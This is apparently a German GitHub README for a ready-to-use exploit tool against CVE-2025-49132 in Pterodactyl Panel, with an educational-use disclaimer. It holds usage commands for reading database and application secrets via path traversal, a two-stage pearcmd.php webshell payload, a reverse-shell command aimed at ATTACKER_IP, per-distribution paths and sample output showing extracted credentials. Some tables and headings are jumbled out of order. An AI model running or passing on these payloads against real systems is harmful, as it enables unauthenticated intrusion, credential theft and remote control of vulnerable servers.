
CVE für Pterodactyl (für Studium und Bildung)
⚠️ Haftungsausschluss: Dieses Repository dient nur Bildungs- und Forschungszwecken im Rahmen meiner Sicherheitsforschung zum Verständnis und zur Dokumentation von CVE-2025-49132. Die Entdeckung der Schwachstelle geht vollständig auf den/die ursprünglichen Forscher zurück.
___ __ __ ___ ___ ___ ___ ___ _ _ ___ _ ____ ___
/ __|\ \ / /| __|___ |_ ) / _ \|_ )| __|___ | || | / _ \| ||__ / |_ )
| (__ \ V / | _|___| / / | (_) |/ / |__ \___| |_ _| \_, /| ||_ \ / /
\___| \_/ |___| /___| \___//___||___/ |_| /_/ |_|___/ /___|
Pterodactyl Panel - Unauthenticated LFI to RCE Exploit
CVE-2025-49132 ist eine nicht authentifizierte Local File Inclusion (LFI)-Schwachstelle im Pterodactyl-Panel, die über PHP pearcmd.php zu Remote Code Execution (RCE) eskaliert werden kann.
Die Schwachstelle existiert im Endpunkt /locales/locale.json, der die Parameter locale und namespace nicht ordnungsgemäß bereinigt. Dadurch können Angreifer beliebige PHP-Konfigurationsdateien lesen und Codeausführung erreichen.
| Status | Version |
|---|---|
| ❌ Anfällig | <= 1.11.10 |
| ✅ Behoben | >= 1.11.11 |
pearcmd.php-LFI2RCE-Technik# Clone the repository
git clone https://github.com/YOUR_USERNAME/CVE-2025-49132.git
cd CVE-2025-49132
# Install dependencies
pip install requests
requests-Bibliothekcurl (für den RCE-Modus)# Read database configuration
python exploit.py -u http://target.com --read -p ../../config -f database
# Read application configuration (contains APP_KEY)
python exploit.py -u http://target.com --read -p ../../config -f app
# Read other configurations
python exploit.py -u http://target.com --read -p ../../config -f auth
python exploit.py -u http://target.com --read -p ../../config -f session
python exploit.py -u http://target.com --read -p ../../config -f mail
# Single command execution
python exploit.py -u http://target.com --rce -p ../../../../../../usr/share/php/PEAR --cmd "id"
python exploit.py -u http://target.com --rce -p ../../../../../../usr/share/php/PEAR --cmd "whoami"
# Interactive shell mode
python exploit.py -u http://target.com --rce -p ../../../../../../usr/share/php/PEAR
# Reverse shell
python exploit.py -u http://target.com --rce -p ../../../../../../usr/share/php/PEAR --cmd "bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1'"
| Distribution | Pfad |
|---|---|
| Debian/Ubuntu | ../../../../../../usr/share/php |
| SUSE/OpenSUSE | ../../../../../../usr/share/php/PEAR |
Der anfällige Endpunkt /locales/locale.json akzeptiert die Parameter locale und namespace:
GET /locales/locale.json?locale=../../config&namespace=database
Dies ermöglicht das Lesen beliebiger PHP-Dateien, die ein Array zurückgeben, einschließlich Laravel-Konfigurationsdateien.
Der Exploit kombiniert LFI mit pearcmd.php, um RCE zu erreichen:
Stufe 1: Mit dem Befehl config-create von pearcmd.php eine PHP-Webshell schreiben
/locales/locale.json?+config-create+/&locale=../../../../../../usr/share/php/PEAR&namespace=pearcmd&/<?=system(...)?>+/tmp/shell.php
Stufe 2: Die geschriebene Shell per LFI einbinden
/locales/locale.json?locale=../../../../../../tmp&namespace=shell&c=<hex_encoded_cmd>
════════════════════════════════════════════════════════════
DATABASE CONFIGURATION
════════════════════════════════════════════════════════════
default: mysql
connections:
mysql:
driver: mysql
host: 127.0.0.1
port: 3306
database: panel
username: pterodactyl
password: SecretPassword123
────────────────────────────────────────────────────────────
[+] Configuration extracted successfully!
[*] Target: http://panel.example.com
[*] Executing command: id
[*] Writing payload to: /tmp/cmd_abc123.php
[+] Output:
----------------------------------------
uid=474(wwwrun) gid=477(www) groups=477(www)
----------------------------------------
locale und namespaceregister_argc_argv einDieses Tool wird ausschließlich für Bildungs- und autorisierte Sicherheitstestzwecke bereitgestellt.
Verwenden Sie es verantwortungsvoll und ethisch.
⭐ Gib diesem Repository einen Stern, wenn es dir nützlich war!
| CentOS/RHEL | ../../../../../../usr/share/pear |
| Alpine | ../../../../../../usr/share/php8 |
| Argument | Beschreibung |
|---|
-u, --url | Ziel-URL (erforderlich) |
-p, --path | Pfad-Traversal für LFI oder PEAR-Pfad für RCE |
-f, --file | Zu lesende PHP-Datei (ohne .php-Erweiterung) |
--read | LFI-Lesemodus aktivieren |
--rce | RCE-Modus aktivieren |
--cmd | Auszuführender Befehl (Einzelausführungsmodus) |
--sdir | Verzeichnis zum Schreiben der Shell (Standard: /tmp) |
--sname | Dateiname der Shell (Standard: shell) |